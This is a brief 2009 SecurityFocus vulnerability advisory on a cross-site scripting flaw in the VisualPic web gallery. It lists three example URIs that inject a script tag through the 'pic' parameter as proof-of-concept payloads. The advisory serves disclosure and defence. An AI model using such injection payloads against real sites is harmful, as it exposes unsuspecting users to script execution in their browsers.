Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

VisualPic Cross-Site Scripting Vulnerability

Attackers can exploit this issue by enticing an unsuspecting user to follow a malicious URI.

The following example URIs are available:

http://www.example.com/visualpic/?login&pic=>"><script>alert("XSS")</script>
http://www.example.com/visualpic/?pic=%00'"><script>alert("XSS")</script>
http://www.example.com/visualpic/?login&pic=>"><script>alert("XSS")</script>







 

Privacy Statement
Copyright 2009, SecurityFocus